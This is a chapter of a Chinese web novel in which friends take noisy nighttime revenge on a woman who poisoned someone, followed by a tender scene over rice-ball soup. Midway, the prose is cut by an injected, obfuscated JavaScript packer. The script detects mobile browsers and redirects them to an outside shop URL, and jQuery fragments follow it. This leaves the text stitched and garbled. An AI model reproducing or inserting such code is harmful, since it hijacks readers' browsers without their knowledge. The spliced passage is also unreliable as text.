王父私心里是不想去的,但王彩瑚在家中积威甚重,他只能想办法迂回劝说:“那,彩瑚,万一外头的人我不识得呢……”
然而他心中发虚,讲话的声音便太小,院子附近又是锣鼓喧天的热闹,王彩瑚根本没听见他的推拒,只顾蒙着被子头疼。
等到她发现被子也是无用,愤愤揭下了蒙头的物什扫视四周时,一眼看见了踌躇的王父,冲他喊道:“怎么还不去?!”
王父终究拗不过女儿,且他劝了劝自己,到底他也觉得这噪声难捱,最终不得不鼓起勇气,拖着扫帚往院中走去。
可他刚走出去几步,赵之淮早从屋顶上跳出院中了,几个围着墙根乱敲乱打的人也适时歇了动静。
等到王父摸不着头脑,又反身往女儿房里去的时候,闹声便再起。
如是者三。
王父一会儿跨出门槛,一会儿跨入院中,忙碌不停。
王彩瑚的脾气本就称不上温和,哪怕被来来回回戏耍的并不是她本人,断断续续的噪声也一直往她耳朵里灌,更叫她气得发抖。
“回来,你回来!”
她把王父喊回屋子里,让他去想办法找些什么东西来塞耳朵。
而她自己则艰难地挪到窗子边,也不敢打开窗户(怕被砸),提高了嗓音朝外吼道:“哪来的污糟贼,闲出个毛了在这里吆三喝四地聒噪!仔细天杀的官娘子,拿你去吃个扒骨刑!”
外面的闹声似乎是停止了一瞬,接着忽然有人笑道:“果然是进过官牢的王厨子,最知道官府的行事,一般人是比不得的。”
王彩瑚顾不得对方的阴阳怪气,先凝神细听对方的嗓音,满以为不是乌婕,便是孙无诀,要不就是那个遭瘟的赵之淮。
乌婕有大半年不在孝丰,但王彩瑚自认还是能听出一点她的口音。
另外两个则是她知道的常到风云楼造访的年轻人,全是乌婕的亲密朋友!
偏偏院子外传来的嗓音陌生得很,不仅不像孝丰这边的,似乎还带一点儿含糊糊的尾音,更像是从偏南的地界过来的生人。
这“生人”扬声斥骂道:“下毒害人,也不知谁才是那个天杀?弄的就是你!”
接着响起的就不再是铜锣,而是一种磨人的、绵长的、令人浑身直起鸡皮疙瘩的抓挠声。
那抓挠声疯狂朝人的脑袋里灌,一时如钻头搅起脑汁,一时又如无数只蚂蚁在心头啃噬。
王彩瑚简直想把自己的一对耳朵全卸下来,要不就让自己的脑袋变成个钻不进的石头也成!
忙乱间,她一时坐不稳当,整个从椅子上翻倒下来,发出一声巨响。
院子外隐隐有窃笑声,而后飞来一物。
一记狠砸!
一块被草纸包着的黑色秽物被扔在了王彩瑚的窗棱上,炸开变成一片污渍,散发出一股混杂着鱼腥和泥臭的怪味。
“撤!”
几人赶在王彩瑚家灯火通明的刹那,果断撤离,回到野草滩中再聚头。
凌越被孙无诀拽着问:“你还会伪声?牛啊你!”
乌婕替凌越解释道:“阿越母亲本是汾南人,她平日说话急了,就这个声音。”
一旁的赵之淮只觉得稀奇:“难得,我只听过她一个字一个字往外蹦,她还有发急的时候?”
凌越收回面对乌婕的温和视线,转而望向赵之淮,惊得后者举起双手,闭上了嘴巴。
卢丞轩总结道:“这样来一回虽然折腾,起码叫她吃着了苦头。只是我觉得不甚解气,若是能叫她自食恶果,那才好呢!”
孙无诀则说:“咱们总不能去给她投毒,那不就跟王彩瑚一个德行了?”
赵之淮迅速插口:“我倒觉得这事儿还可以多来几回!”
乌婕看着激情讨论的朋友们,抬手扶了扶额:“今晚大家都辛苦了,回头还弄不弄,怎么弄,得先看王彩瑚这边的反应。等我通知。”
之前一直保持沉默的齐元却忽然开口道:“这件事,你们打算怎么收尾?”
众人都看了过来,齐元则看向乌婕。
乌婕摸了摸下巴,“王彩瑚之后必是要找麻烦,兴许是报官,兴许是冲着咱们几家打探。所以你们今晚干脆就别偷摸回家,免得露了行迹。”
孙无诀道:“不妨事,我家人会替我打掩护。”
赵之淮则笑道:“我可说不准,我妈一句话能漏百八件事。”
凌越看了她一眼,“那你就不要回家,我今晚请你喝酒。”
赵之淮歪了歪头,应下了。
卢丞轩则忙着把那些鼓锣镲器打包起来,又招呼几人走到空旷处,换掉潮湿带泥印的鞋,随后将沾了墙灰的外衣翻过,胡乱披在身上。
如此便叫几人的行迹断在了野草滩处,即使官差后来牵狗来寻,也能借水源阻隔大半气味,再添一层保障。
乌婕从卢丞轩手里接去包裹,准备承担毁灭证据的工作。
最后,众人互相叮嘱一句“小心”,各自散去。
齐元自然是跟着乌婕的。
她们选了一条与来时不同的道路,当然,是一样的少人且僻静。
齐元和乌婕并肩走着,直到远远能看见风云楼的影了,才缓声说:“你们这样做,虽能泄愤,但终究不长久。你后面有什么打算?”
乌婕说:“回去便把东西埋了,痕迹扫尽,任她怀怨无处诉,也算是以其人之道还治其人之身。”
齐元皱了皱眉,只以为乌婕是在避重就轻。
“小打小闹而已。然后呢?”
“然后……”
乌婕一顿,反问道:“齐师可有教我?”
齐元沉默了。
乌婕也不追问,而是说:“齐师觉得这是‘小打小闹’,但我也不是什么大人,我家长辈讲脸面,我却要给她们出口气。之后么,我还有一个计划,只是不知道效果如何了。”
齐元却忽然开口,回答了她的上一个问题:“小人生怨气,不该以小乱对待。斩草当除根。”
乌婕的眼神一下子落在了齐元腰间的长刀上,齐元仍是一副平静的样子。
乌婕喃喃念出了令她印象深刻的话本上的句子:“侠以武犯禁……”
“这就是齐师在江湖上行走的经验吗?”
乌婕敬畏地望向齐元眼上的疤痕,脑中忽然涌出一段充满惊险与豪情的故事。
武林,刀客,深夜,血腥,仇恨……
齐元十分冷漠:“少看点话本子。”
乌婕有点失望,齐元的话显然是在告诉她,她的想象全是错的。
“哦。”
闲话间,两人回到了风云楼的后门处。
乌婕没有打探齐元的过去,而齐元也没问乌婕未来的计划。
似乎在她看来,只要乌婕心里是有谋划的,而不是沉溺于一时的快意报复,那就行了。
乌婕上前开门,但她刚刚把钥匙捅进锁眼里,里面就传来门闩被拨动的声音。
里头的人问:“是谁?”
乌婕扬声道:“是我!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371161|199910||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于是后门一下被人从里面拉开,一道影子径直扑进她怀里。
乌婕本来有些别扭地想躲,但等她的手心碰到了来人的衣袖,顿时就歇了心思,改躲为抱。
原四卿落在她怀里,轻得像一团絮。
乌婕拍了拍他的后背,而原四卿一声不吭,只把脑袋放在她的肩膀上。
乌婕无奈,干脆就让他维持着这个姿势,半抱着把他带了进去。
齐元走在她们身后,将门掩上,而后顺手提起一旁困得直打摆子的浣竹,将他安放到楼梯前去。
张掌柜披着衣服,站在二楼处朝乌婕远远一点头,接着便叫面带担忧的张怜回房去。
乌婕一直把原四卿送到他在三楼的房间外。
原四卿等她替自己推开了门,就轻轻扯了扯乌婕的袖子,对她说:“你喝一碗小圆子,再走。”
乌婕抬眼一望,桌上正放着两碗微微冒着热气的酒酿圆子汤,空气中弥漫着动人的甜香。
原四卿的眼睛始终追着她的视线,此时就低声说:“这是百江那边的做法,和这里的不一样的。而且要温着喝,……是齐妈妈专为你做的。”
他一下子说了两三个留下她的理由,但乌婕也不是迟钝的人,如何品不出他话中的不舍?
她心中一暖,拉着原四卿在桌前坐下。
虽然如今是在她的地盘上,楼上楼下住着的也都是双方的家人,但原四卿和她究竟没有真的成事,乌婕并没有选择关门。
“你能喝酒?”她也没有立刻端起碗来就喝,而是想起原四卿病弱的身体,先问了一句。
原四卿垂着眼睛,回答她:“少喝一点是不妨的,我的病也没有那么严重。”
仿佛是为了佐证,他主动将油灯挪近了一点,叫乌婕仔细地看他的脸色:“你瞧,我看着是不是还好?先前是、车马劳顿,路上总想作呕,看着才格外虚弱一些,其实我身子很好的……”
是可以和她成婚、可以经受承果、可以为她诞子的身体。
油灯下的原四卿看起来有几分白日中少见的动人,好像脸色是真的没有第一次见面时那般白了。
乌婕不懂得男子的梳妆手段,此时也为他的气色稍稍放下心来,关心道:“这圆子汤放久了没有?若是你那碗太凉,我下去给你做一碗我们这边的口味来,很快就能得了。”
原四卿不想她离开自己的视线,更珍惜这次难得的相处机会,赶紧以手背试了试碗壁,高兴道:“温热的。”
乌婕就终于讲出了那句他想听的话:“我们一道吃。”
汤水入口,乌婕慢慢品味了一番。
果然正如原四卿所说,百江的风味独特,全然与孝丰不同。
舌尖先尝到的不是酒香,而是清淡的藕粉香。
口感顺滑又稠密,分明还没有吃到圆子,齿间便已经漫上糯感,柔柔地韧。
待到乌婕主动舀了一颗圆子配汤送入,又是另外的一种口感:圆子弹软,汤水浓郁,酒香随着圆子的咀嚼一同发散开来,润泽在舌面上,竟似铺开了一小块锦缎,滑得挂不住。
乌婕想,这样糯滑的汤水,其中必然有用藕粉勾芡的缘故。
只是手法如何,时机怎样,还得问过了大厨本人确定。
乌婕多喝了几口,大约估摸出一点范围,只等明天找齐大娘验证了。
原四卿见她喝得高兴,也举起勺子,慢慢喝掉了半碗。
再多的他也不能多喝,会积食。
这样就好,这样就够了。